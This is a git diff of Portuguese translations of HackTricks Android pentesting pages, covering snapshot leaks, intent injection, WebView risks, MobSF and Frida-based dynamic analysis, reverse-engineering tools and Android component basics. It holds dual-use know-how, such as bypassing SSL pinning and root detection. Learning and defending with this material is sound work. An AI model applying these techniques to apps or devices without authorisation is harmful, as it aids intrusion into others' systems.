Quando você coloca um aplicativo em segundo plano, o Android armazena um **instantâneo do aplicativo** para que, quando ele for recuperado para o primeiro plano, comece a carregar a imagem antes do aplicativo, para que pareça que o aplicativo foi carregado mais rapidamente.
|
||||
|
||||
No entanto, se esse instantâneo contiver **informações sensíveis**, alguém com acesso ao instantâneo pode **roubar essas informações** (observe que é necessário ter acesso root para acessá-lo).
|
||||
|
||||
Os instantâneos geralmente são armazenados em: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
O Android fornece uma maneira de **prevenir a captura de tela definindo o parâmetro de layout FLAG\_SECURE**. Ao usar essa bandeira, o conteúdo da janela é tratado como seguro, impedindo que ele apareça em capturas de tela ou seja visualizado em displays não seguros.
|
||||
O Android fornece uma maneira de **prevenir a captura de tela definindo o FLAG\_SECURE** como parâmetro de layout. Ao usar essa bandeira, o conteúdo da janela é tratado como seguro, impedindo que ele apareça em capturas de tela ou seja visualizado em displays não seguros.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
|
@ -531,26 +532,26 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
|||
|
||||
Esta ferramenta pode ajudá-lo a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer)
|
||||
|
||||
### Injeção de Intent
|
||||
### Injeção de Intenção
|
||||
|
||||
Os desenvolvedores frequentemente criam componentes de proxy como atividades, serviços e receptores de transmissão que lidam com essas Intents e as passam para métodos como `startActivity(...)` ou `sendBroadcast(...)`, o que pode ser arriscado.
|
||||
Os desenvolvedores frequentemente criam componentes de proxy como atividades, serviços e receptores de transmissão que lidam com essas Intenções e as passam para métodos como `startActivity(...)` ou `sendBroadcast(...)`, o que pode ser arriscado.
|
||||
|
||||
O perigo está em permitir que atacantes acionem componentes de aplicativos não exportados ou acessem provedores de conteúdo sensíveis ao desviar essas Intents. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e então executando-os, potencialmente levando a injeções maliciosas de Intent.
|
||||
O perigo está em permitir que atacantes acionem componentes de aplicativos não exportados ou acessem provedores de conteúdo sensíveis ao desviar essas Intenções. Um exemplo notável é o componente `WebView` convertendo URLs em objetos `Intent` via `Intent.parseUri(...)` e então executando-os, potencialmente levando a injeções maliciosas de Intenção.
|
||||
|
||||
### Principais Pontos
|
||||
### Pontos Essenciais
|
||||
|
||||
* **Injeção de Intent** é semelhante ao problema de Redirecionamento Aberto na web.
|
||||
* **Injeção de Intenção** é semelhante ao problema de Redirecionamento Aberto na web.
|
||||
* As explorações envolvem passar objetos `Intent` como extras, que podem ser redirecionados para executar operações inseguras.
|
||||
* Pode expor componentes não exportados e provedores de conteúdo a atacantes.
|
||||
* A conversão de URL do `WebView` para `Intent` pode facilitar ações não intencionais.
|
||||
* A conversão de URL para `Intent` do `WebView` pode facilitar ações não intencionais.
|
||||
|
||||
### Injeções do Lado do Cliente Android e outros
|
||||
### Injeções no Lado do Cliente Android e outros
|
||||
|
||||
Provavelmente você conhece esse tipo de vulnerabilidades da Web. Você deve ter cuidado especial com essas vulnerabilidades em um aplicativo Android:
|
||||
|
||||
* **Injeção de SQL:** Ao lidar com consultas dinâmicas ou Content-Providers, certifique-se de estar usando consultas parametrizadas.
|
||||
* **Injeção de SQL:** Ao lidar com consultas dinâmicas ou Provedores de Conteúdo, certifique-se de estar usando consultas parametrizadas.
|
||||
* **Injeção de JavaScript (XSS):** Verifique se o suporte a JavaScript e Plugins está desativado para quaisquer WebViews (desativado por padrão). [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
* **Inclusão de Arquivo Local:** Os WebViews devem ter acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
* **Inclusão de Arquivo Local:** WebViews devem ter acesso ao sistema de arquivos desativado (ativado por padrão) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mais informações aqui](webview-attacks.md#javascript-enabled).
|
||||
* **Cookies eternos:** Em vários casos, quando o aplicativo Android encerra a sessão, o cookie não é revogado ou pode até ser salvo no disco.
|
||||
* [**Flag Segura** em cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
|
||||
|
@ -564,7 +565,7 @@ Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
|||
Interaja com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e insights em tempo real
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
@ -579,19 +580,19 @@ Fique informado sobre os mais recentes programas de recompensas por bugs lançad
|
|||
|
||||
![](<../../.gitbook/assets/image (61).png>)
|
||||
|
||||
**Avaliação de vulnerabilidades do aplicativo** usando uma agradável interface web. Você também pode realizar análise dinâmica (mas precisa preparar o ambiente).
|
||||
**Avaliação de vulnerabilidades do aplicativo** usando uma agradável interface web. Você também pode realizar análises dinâmicas (mas precisa preparar o ambiente).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Observe que o MobSF pode analisar aplicativos **Android**(apk), **IOS**(ipa) e **Windows**(apx) (_os aplicativos do Windows devem ser analisados a partir de um MobSF instalado em um host Windows_).\
|
||||
Observe que o MobSF pode analisar aplicativos **Android**(apk), **IOS**(ipa) **e Windows**(apx) (_os aplicativos do Windows devem ser analisados a partir de um MobSF instalado em um host Windows_).\
|
||||
Além disso, se você criar um arquivo **ZIP** com o código-fonte de um aplicativo **Android** ou **IOS** (vá até a pasta raiz do aplicativo, selecione tudo e crie um arquivo ZIP), o MobSF também poderá analisá-lo.
|
||||
|
||||
O MobSF também permite que você faça a **diferença/comparação** de análises e integre o **VirusTotal** (você precisará configurar sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = <Sua chave de API>` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **enviado** em vez do arquivo.
|
||||
|
||||
### Análise dinâmica assistida com o MobSF
|
||||
### Análise Dinâmica Assistida com o MobSF
|
||||
|
||||
O **MobSF** também pode ser muito útil para **análise dinâmica** no **Android**, mas nesse caso você precisará instalar o MobSF e o **genymotion** em seu host (uma VM ou Docker não funcionarão). _Observação: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF**._
|
||||
O **MobSF** também pode ser muito útil para **análise dinâmica** no **Android**, mas nesse caso você precisará instalar o MobSF e o **genymotion** em seu host (uma VM ou Docker não funcionará). _Nota: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF**._
|
||||
|
||||
O analisador dinâmico do **MobSF** pode:
|
||||
|
||||
|
@ -606,21 +607,21 @@ A partir das versões do Android > 5, ele **iniciará automaticamente o Frida**
|
|||
Por padrão, ele também usará alguns Scripts do Frida para **burlar a verificação de SSL**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\
|
||||
O MobSF também pode **invocar atividades exportadas**, capturar **capturas de tela** delas e **salvá-las** para o relatório.
|
||||
|
||||
Para **iniciar** os testes dinâmicos, pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts do Frida e "**Live API Monitor**" para ver todas as invocações aos métodos conectados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\
|
||||
O MobSF também permite carregar seus próprios **scripts do Frida** (para enviar os resultados de seus scripts do Friday para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
|
||||
Para **iniciar** o teste dinâmico, pressione o botão verde: "**Iniciar Instrumentação**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts do Frida e "**Monitor de API ao Vivo**" para ver todas as invocações aos métodos conectados, argumentos passados e valores retornados (isso aparecerá após pressionar "Iniciar Instrumentação").\
|
||||
O MobSF também permite carregar seus próprios **scripts do Frida** (para enviar os resultados de seus scripts do Frida para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Carregar**" e pressionar "**Iniciar Instrumentação**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
|
||||
|
||||
![](<../../.gitbook/assets/image (215).png>)
|
||||
|
||||
Além disso, você tem algumas funcionalidades auxiliares do Frida:
|
||||
|
||||
* **Enumerar Classes Carregadas**: Ele imprimirá todas as classes carregadas
|
||||
* **Capturar Strings**: Ele imprimirá todas as strings capturadas ao usar o aplicativo (muito barulhento)
|
||||
* **Capturar Strings**: Ele imprimirá todas as strings capturadas ao usar o aplicativo (muito ruidoso)
|
||||
* **Capturar Comparação de Strings**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso.
|
||||
* **Enumerar Métodos de Classe**: Insira o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe.
|
||||
* **Pesquisar Padrão de Classe**: Pesquisar classes por padrão
|
||||
* **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que por padrão o MobSF rastreia vários métodos interessantes da API do Android.
|
||||
|
||||
Depois de selecionar o módulo auxiliar que deseja usar, você precisa pressionar "**Start Intrumentation**" e verá todas as saídas em "**Frida Live Logs**".
|
||||
Depois de selecionar o módulo auxiliar que deseja usar, você precisa pressionar "**Iniciar Instrumentação**" e verá todas as saídas em "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
|
@ -636,12 +637,12 @@ receivers
|
|||
**Ferramentas HTTP**
|
||||
|
||||
Quando o tráfego http é capturado, você pode ver uma visualização feia do tráfego capturado no fundo "**HTTP(S) Traffic**" ou uma visualização mais agradável no fundo verde "**Start HTTPTools**". A partir da segunda opção, você pode **enviar** as **solicitações capturadas** para **proxies** como Burp ou Owasp ZAP.\
|
||||
Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a solicitação_ --> pressione "**Enviar para Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.1:8080)).
|
||||
Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a solicitação_ --> pressione "**Enviar para Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Após concluir a análise dinâmica com o MobSF, você pode pressionar "**Iniciar Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades.
|
||||
Após concluir a análise dinâmica com o MobSF, você pode pressionar "**Iniciar Web API Fuzzer**" para **fuzzar solicitações http** e procurar por vulnerabilidades.
|
||||
|
||||
{% hint style="info" %}
|
||||
Após realizar uma análise dinâmica com o MobSF, as configurações de proxy podem estar incorretas e você não poderá corrigi-las pela GUI. Você pode corrigir as configurações de proxy fazendo:
|
||||
Após realizar uma análise dinâmica com o MobSF, as configurações do proxy podem estar incorretas e você não poderá corrigi-las pela GUI. Você pode corrigir as configurações do proxy fazendo:
|
||||
```
|
||||
adb shell settings put global http_proxy :0
|
||||
```
|
||||
|
@ -692,7 +693,7 @@ super-analyzer {apk_file}
|
|||
|
||||
![](<../../.gitbook/assets/image (62).png>)
|
||||
|
||||
StaCoAn é uma ferramenta **multiplataforma** que auxilia desenvolvedores, caçadores de bugs e hackers éticos a realizar [análise de código estático](https://en.wikipedia.org/wiki/Static\_program\_analysis) em aplicativos móveis.
|
||||
StaCoAn é uma ferramenta **multiplataforma** que auxilia desenvolvedores, caçadores de bugs e hackers éticos na realização de [análise de código estático](https://en.wikipedia.org/wiki/Static\_program\_analysis) em aplicativos móveis.
|
||||
|
||||
O conceito é que você arraste e solte o arquivo do seu aplicativo móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela irá gerar um relatório visual e portátil para você. Você pode ajustar as configurações e listas de palavras para obter uma experiência personalizada.
|
||||
|
||||
|
@ -722,9 +723,9 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||
|
||||
![](<../../.gitbook/assets/image (81).png>)
|
||||
|
||||
**MARA** é um **F**ramework de **R**everse **E**ngineering e **A**nálise de **A**plicativos **M**óveis. É uma ferramenta que reúne ferramentas comumente usadas para reverse engineering e análise de aplicativos móveis, para auxiliar no teste de aplicativos móveis contra as ameaças de segurança móvel da OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicativos móveis e profissionais de segurança.
|
||||
**MARA** é um **F**ramework de **R**everse engineering e **A**nálise de **A**plicativos **M**óveis. É uma ferramenta que reúne ferramentas comumente usadas para reverse engineering e análise de aplicativos móveis, para auxiliar no teste de aplicativos móveis contra as ameaças de segurança móvel da OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicativos móveis e profissionais de segurança.
|
||||
|
||||
É capaz de:
|
||||
Ele é capaz de:
|
||||
|
||||
* Extrair código Java e Smali usando diferentes ferramentas
|
||||
* Analisar APKs usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
@ -763,7 +764,7 @@ Encontre um guia passo a passo para desofuscar o apk em [https://blog.lexfo.fr/d
|
|||
|
||||
**DeGuard reverte o processo de obfuscação realizado por ferramentas de obfuscação do Android. Isso permite inúmeras análises de segurança, incluindo inspeção de código e previsão de bibliotecas.**
|
||||
|
||||
Você pode fazer upload de um APK ofuscado para a plataforma deles.
|
||||
Você pode fazer upload de um APK obfuscado para a plataforma deles.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
|
@ -799,13 +800,13 @@ AndroL4b é uma máquina virtual de segurança Android baseada no ubuntu-mate qu
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server para se comunicar com hackers experientes e caçadores de bugs!
|
||||
Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
|
||||
|
||||
**Percepções de Hacking**\
|
||||
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
|
||||
|
||||
**Notícias de Hacking em Tempo Real**\
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e insights em tempo real
|
||||
Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real
|
||||
|
||||
**Últimos Anúncios**\
|
||||
Fique informado sobre os mais novos programas de recompensas por bugs lançados e atualizações cruciais na plataforma
|
||||
|
@ -814,7 +815,7 @@ Fique informado sobre os mais novos programas de recompensas por bugs lançados
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao hero com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
|
|
|
@ -14,9 +14,9 @@ Outras formas de apoiar o HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -49,7 +49,7 @@ Quando você instala um **aplicativo e ele solicita permissões**, o aplicativo
|
|||
Observe que os aplicativos Android não precisam solicitar todas as permissões no início, eles também podem **solicitar permissões dinamicamente**, mas todas as permissões devem ser **declaradas** no **manifesto**.
|
||||
|
||||
Quando um aplicativo expõe funcionalidades, ele pode limitar o **acesso apenas a aplicativos que possuem uma permissão especificada**.\
|
||||
Um elemento de permissão tem três atributos:
|
||||
Um elemento de permissão possui três atributos:
|
||||
|
||||
* O **nome** da permissão
|
||||
* O atributo **permission-group**, que permite agrupar permissões relacionadas.
|
||||
|
@ -59,23 +59,23 @@ Um elemento de permissão tem três atributos:
|
|||
* **Assinatura**: Apenas **aplicativos assinados pelo mesmo certificado que o** exportando o componente podem receber permissão. Este é o tipo mais forte de proteção.
|
||||
* **AssinaturaOuSistema**: Apenas **aplicativos assinados pelo mesmo certificado que o** exportando o componente ou **aplicativos em execução com acesso de nível de sistema** podem receber permissões.
|
||||
|
||||
## Aplicações Pré-Instaladas
|
||||
## Aplicativos Pré-Instalados
|
||||
|
||||
Esses aplicativos geralmente são encontrados nos diretórios **`/system/app`** ou **`/system/priv-app`** e alguns deles são **otimizados** (você pode nem encontrar o arquivo `classes.dex`). Esses aplicativos valem a pena verificar porque às vezes eles estão **executando com muitas permissões** (como root).
|
||||
Esses aplicativos geralmente são encontrados nos diretórios **`/system/app`** ou **`/system/priv-app`** e alguns deles são **otimizados** (você pode nem encontrar o arquivo `classes.dex`). Vale a pena verificar esses aplicativos porque às vezes eles estão **executando com muitas permissões** (como root).
|
||||
|
||||
* Os que são enviados com o **ROM** do **AOSP** (Projeto de Código Aberto Android)
|
||||
* Os enviados com o **ROM** do **AOSP** (Projeto de Código Aberto Android)
|
||||
* Adicionados pelo **fabricante** do dispositivo
|
||||
* Adicionados pelo **provedor** de telefonia celular (se comprado deles)
|
||||
* Adicionados pelo **provedor de telefonia celular** (se comprado deles)
|
||||
|
||||
## Root
|
||||
|
||||
Para obter acesso root a um dispositivo Android físico, geralmente é necessário **explorar** 1 ou 2 **vulnerabilidades** que costumam ser **específicas** para o **dispositivo** e **versão**.\
|
||||
Uma vez que o exploit funcionou, geralmente o binário `su` do Linux é copiado para uma localização especificada na variável de ambiente PATH do usuário, como `/system/xbin`.
|
||||
Depois que o exploit funcionar, geralmente o binário `su` do Linux é copiado para uma localização especificada na variável de ambiente PATH do usuário, como `/system/xbin`.
|
||||
|
||||
Depois que o binário su estiver configurado, outro aplicativo Android é usado para interagir com o binário `su` e **processar solicitações de acesso root** como **Superuser** e **SuperSU** (disponível na Google Play Store).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Observe que o processo de root é muito perigoso e pode danificar gravemente o dispositivo
|
||||
Observe que o processo de root é muito perigoso e pode danificar severamente o dispositivo
|
||||
{% endhint %}
|
||||
|
||||
### ROMs
|
||||
|
@ -89,16 +89,16 @@ Observe que **nem sempre é necessário fazer root no dispositivo** para instala
|
|||
|
||||
Uma vez que um dispositivo é rooteado, qualquer aplicativo pode solicitar acesso como root. Se um aplicativo malicioso obtiver, ele terá acesso a quase tudo e poderá danificar o telefone.
|
||||
|
||||
## Fundamentos de Aplicações Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
## Fundamentos de Aplicativos Android <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
- O formato de aplicativos Android é referido como _formato de arquivo APK_. É essencialmente um **arquivo ZIP** (renomeando a extensão do arquivo para .zip, o conteúdo pode ser extraído e visualizado).
|
||||
- O formato dos aplicativos Android é referido como _formato de arquivo APK_. É essencialmente um **arquivo ZIP** (renomeando a extensão do arquivo para .zip, o conteúdo pode ser extraído e visualizado).
|
||||
- Conteúdo do APK (Não exaustivo)
|
||||
- **AndroidManifest.xml**
|
||||
- resources.arsc/strings.xml
|
||||
- resources.arsc: contém recursos pré-compilados, como XML binário.
|
||||
- res/xml/files\_paths.xml
|
||||
- META-INF/
|
||||
- Aqui é onde o Certificado está localizado!
|
||||
- Aqui está localizado o Certificado!
|
||||
- **classes.dex**
|
||||
- Contém bytecode Dalvik, representando o código Java (ou Kotlin) compilado que o aplicativo executa por padrão.
|
||||
- lib/
|
||||
|
@ -126,11 +126,11 @@ Para ser simples, um Intent pode ser usado para:
|
|||
|
||||
* Iniciar uma Activity, normalmente abrindo uma interface de usuário para um aplicativo
|
||||
* Como transmissões para informar o sistema e aplicativos sobre alterações
|
||||
* Para iniciar, parar e comunicar-se com um serviço em segundo plano
|
||||
* Para iniciar, parar e comunicar com um serviço em segundo plano
|
||||
* Para acessar dados por meio de ContentProviders
|
||||
* Como callbacks para lidar com eventos
|
||||
|
||||
Se vulneráveis, **Intents podem ser usados para realizar uma variedade de ataques**.
|
||||
Se vulnerável, **Intents podem ser usados para realizar uma variedade de ataques**.
|
||||
|
||||
### Intent-Filter
|
||||
|
||||
|
@ -165,7 +165,7 @@ Este intent deve ser declarado dentro do manifesto como no exemplo a seguir:
|
|||
```
|
||||
Um intent-filter precisa corresponder à **ação**, **dados** e **categoria** para receber uma mensagem.
|
||||
|
||||
O processo de "resolução de Intent" determina qual aplicativo deve receber cada mensagem. Esse processo considera o atributo de **prioridade**, que pode ser definido na declaração do **intent-filter**, e **o que tiver a prioridade mais alta será selecionado**. Essa prioridade pode ser definida entre -1000 e 1000 e os aplicativos podem usar o valor `SYSTEM_HIGH_PRIORITY`. Se surgir um **conflito**, uma janela de "escolha" aparece para que o **usuário possa decidir**.
|
||||
O processo de "resolução de Intent" determina qual aplicativo deve receber cada mensagem. Esse processo considera o atributo de **prioridade**, que pode ser definido na declaração do **intent-filter**, e **o com a prioridade mais alta será selecionado**. Essa prioridade pode ser definida entre -1000 e 1000 e os aplicativos podem usar o valor `SYSTEM_HIGH_PRIORITY`. Se surgir um **conflito**, uma janela de "escolha" aparece para que o **usuário possa decidir**.
|
||||
|
||||
### Intenções Explícitas
|
||||
|
||||
|
@ -185,7 +185,7 @@ Estas permitem que outras aplicações **realizem ações em nome da sua aplica
|
|||
|
||||
### Intenções de Transmissão
|
||||
|
||||
Ao contrário das intenções anteriores, que são recebidas apenas por uma aplicação, as intenções de transmissão **podem ser recebidas por várias aplicações**. No entanto, a partir da versão API 14, é **possível especificar a aplicação que deve receber** a mensagem usando Intent.setPackage.
|
||||
Ao contrário das intenções anteriores, que são recebidas apenas por uma aplicação, as intenções de transmissão **podem ser recebidas por várias aplicações**. No entanto, a partir da versão da API 14, é **possível especificar a aplicação que deve receber** a mensagem usando Intent.setPackage.
|
||||
|
||||
Alternativamente, também é possível **especificar uma permissão ao enviar a transmissão**. A aplicação receptora precisará ter essa permissão.
|
||||
|
||||
|
@ -204,7 +204,7 @@ Se encontrar funções contendo a palavra "persistentes" como **`sendStickyBroad
|
|||
|
||||
## Links Profundos / Esquemas de URL
|
||||
|
||||
Nas aplicações Android, os **links profundos** são utilizados para iniciar uma ação (Intenção) diretamente através de um URL. Isso é feito ao declarar um **esquema de URL específico** dentro de uma atividade. Quando um dispositivo Android tenta **acessar um URL com este esquema**, a atividade especificada dentro da aplicação é iniciada.
|
||||
Nas aplicações Android, os **links profundos** são usados para iniciar uma ação (Intenção) diretamente através de um URL. Isso é feito declarando um **esquema de URL específico** dentro de uma atividade. Quando um dispositivo Android tenta **acessar um URL com este esquema**, a atividade especificada dentro da aplicação é iniciada.
|
||||
|
||||
O esquema deve ser declarado no arquivo **`AndroidManifest.xml`**:
|
||||
```xml
|
||||
|
@ -237,7 +237,7 @@ Saiba como [chamar deep links sem usar páginas HTML](./#exploiting-schemes-deep
|
|||
|
||||
## AIDL - Linguagem de Definição de Interface Android
|
||||
|
||||
A **Linguagem de Definição de Interface Android (AIDL)** é projetada para facilitar a comunicação entre cliente e serviço em aplicativos Android por meio da **comunicação entre processos** (IPC). Como acessar diretamente a memória de outro processo não é permitido no Android, o AIDL simplifica o processo ao empacotar objetos em um formato compreendido pelo sistema operacional, facilitando assim a comunicação entre diferentes processos.
|
||||
A **Linguagem de Definição de Interface Android (AIDL)** é projetada para facilitar a comunicação entre cliente e serviço em aplicativos Android por meio de **comunicação entre processos** (IPC). Como acessar diretamente a memória de outro processo não é permitido no Android, o AIDL simplifica o processo ao empacotar objetos em um formato compreendido pelo sistema operacional, facilitando assim a comunicação entre diferentes processos.
|
||||
|
||||
### Conceitos Chave
|
||||
|
||||
|
@ -255,7 +255,7 @@ Estes incluem: **Atividades, Serviços, Receptores de Transmissão e Provedores.
|
|||
|
||||
Nos aplicativos Android, as **atividades** são como telas, mostrando diferentes partes da interface do usuário do aplicativo. Um aplicativo pode ter muitas atividades, cada uma apresentando uma tela única ao usuário.
|
||||
|
||||
A **atividade de lançamento** é a principal porta de entrada para um aplicativo, sendo lançada quando você toca no ícone do aplicativo. Ela é definida no arquivo de manifesto do aplicativo com intenções MAIN e LAUNCHER específicas:
|
||||
A **atividade de lançamento** é a porta de entrada principal para um aplicativo, sendo lançada quando você toca no ícone do aplicativo. Ela é definida no arquivo de manifesto do aplicativo com intenções MAIN e LAUNCHER específicas:
|
||||
```markup
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
|
@ -306,11 +306,11 @@ Uma aplicação interessante dos serviços inclui a reprodução de música em s
|
|||
|
||||
Os **receptores de transmissão** atuam como ouvintes em um sistema de mensagens, permitindo que várias aplicações respondam às mesmas mensagens do sistema. Um aplicativo pode **registrar um receptor** de **duas maneiras principais**: através do **Manifest** do aplicativo ou **dinamicamente** dentro do código do aplicativo via API **`registerReceiver`**. No Manifest, as transmissões são filtradas com permissões, enquanto receptores registrados dinamicamente também podem especificar permissões durante o registro.
|
||||
|
||||
Os **filtros de intenção** são cruciais em ambos os métodos de registro, determinando quais transmissões acionam o receptor. Uma vez que uma transmissão correspondente é enviada, o método **`onReceive`** do receptor é invocado, permitindo que o aplicativo reaja adequadamente, como ajustar o comportamento em resposta a um alerta de bateria fraca.
|
||||
**Filtros de intenção** são cruciais em ambos os métodos de registro, determinando quais transmissões acionam o receptor. Uma vez que uma transmissão correspondente é enviada, o método **`onReceive`** do receptor é invocado, permitindo que o aplicativo reaja adequadamente, como ajustar o comportamento em resposta a um alerta de bateria fraca.
|
||||
|
||||
As transmissões podem ser **assíncronas**, alcançando todos os receptores sem ordem, ou **síncronas**, onde os receptores recebem a transmissão com base em prioridades definidas. No entanto, é importante observar o risco de segurança potencial, pois qualquer aplicativo pode se priorizar para interceptar uma transmissão.
|
||||
|
||||
Para entender a funcionalidade de um receptor, procure pelo método **`onReceive`** dentro de sua classe. O código deste método pode manipular a Intenção recebida, destacando a necessidade de validação de dados pelos receptores, especialmente em **Transmissões Ordenadas**, que podem modificar ou descartar a Intenção.
|
||||
Para entender a funcionalidade de um receptor, procure o método **`onReceive`** dentro de sua classe. O código deste método pode manipular a Intenção recebida, destacando a necessidade de validação de dados pelos receptores, especialmente em **Transmissões Ordenadas**, que podem modificar ou descartar a Intenção.
|
||||
|
||||
### Provedor de Conteúdo
|
||||
|
||||
|
@ -347,7 +347,7 @@ WebViews são como **mini navegadores da web** dentro de aplicativos Android, ex
|
|||
O Android oferece dois tipos principais de WebView:
|
||||
|
||||
- **WebViewClient** é ótimo para HTML básico, mas não suporta a função de alerta JavaScript, afetando como os ataques XSS podem ser testados.
|
||||
- **WebChromeClient** se comporta mais como a experiência completa do navegador Chrome.
|
||||
- **WebChromeClient** age mais como a experiência completa do navegador Chrome.
|
||||
|
||||
Um ponto chave é que os navegadores WebView **não compartilham cookies** com o navegador principal do dispositivo.
|
||||
|
||||
|
@ -355,7 +355,7 @@ Para carregar conteúdo, métodos como ````loadUrl````, ````loadData````, e ````
|
|||
|
||||
A "Bridge" JavaScript permite que objetos Java interajam com JavaScript, exigindo que os métodos sejam marcados com ````@JavascriptInterface```` para segurança a partir do Android 4.2.
|
||||
|
||||
Permitir acesso ao conteúdo (````setAllowContentAccess(true)````) permite que WebViews acessem Provedores de Conteúdo, o que poderia representar um risco, a menos que os URLs de conteúdo sejam verificados como seguros.
|
||||
Permitir acesso ao conteúdo (````setAllowContentAccess(true)````) permite que WebViews alcancem Provedores de Conteúdo, o que poderia ser um risco, a menos que os URLs de conteúdo sejam verificados como seguros.
|
||||
|
||||
Para controlar o acesso a arquivos:
|
||||
- Desativar o acesso a arquivos (````setAllowFileAccess(false)````) limita o acesso ao sistema de arquivos, com exceções para determinados ativos, garantindo que sejam usados apenas para conteúdo não sensível.
|
||||
|
@ -372,7 +372,7 @@ Para controlar o acesso a arquivos:
|
|||
|
||||
### **Gerenciamento de Dispositivos Móveis (MDM)**
|
||||
|
||||
- As **soluções de MDM** fornecem **supervisão e segurança** para dispositivos móveis por meio da **API de Administração de Dispositivos**. Elas exigem a instalação de um aplicativo Android para gerenciar e proteger dispositivos móveis de forma eficaz. As funções principais incluem **impor políticas de senha**, **exigir criptografia de armazenamento** e **permitir a exclusão remota de dados**, garantindo controle abrangente e segurança sobre dispositivos móveis.
|
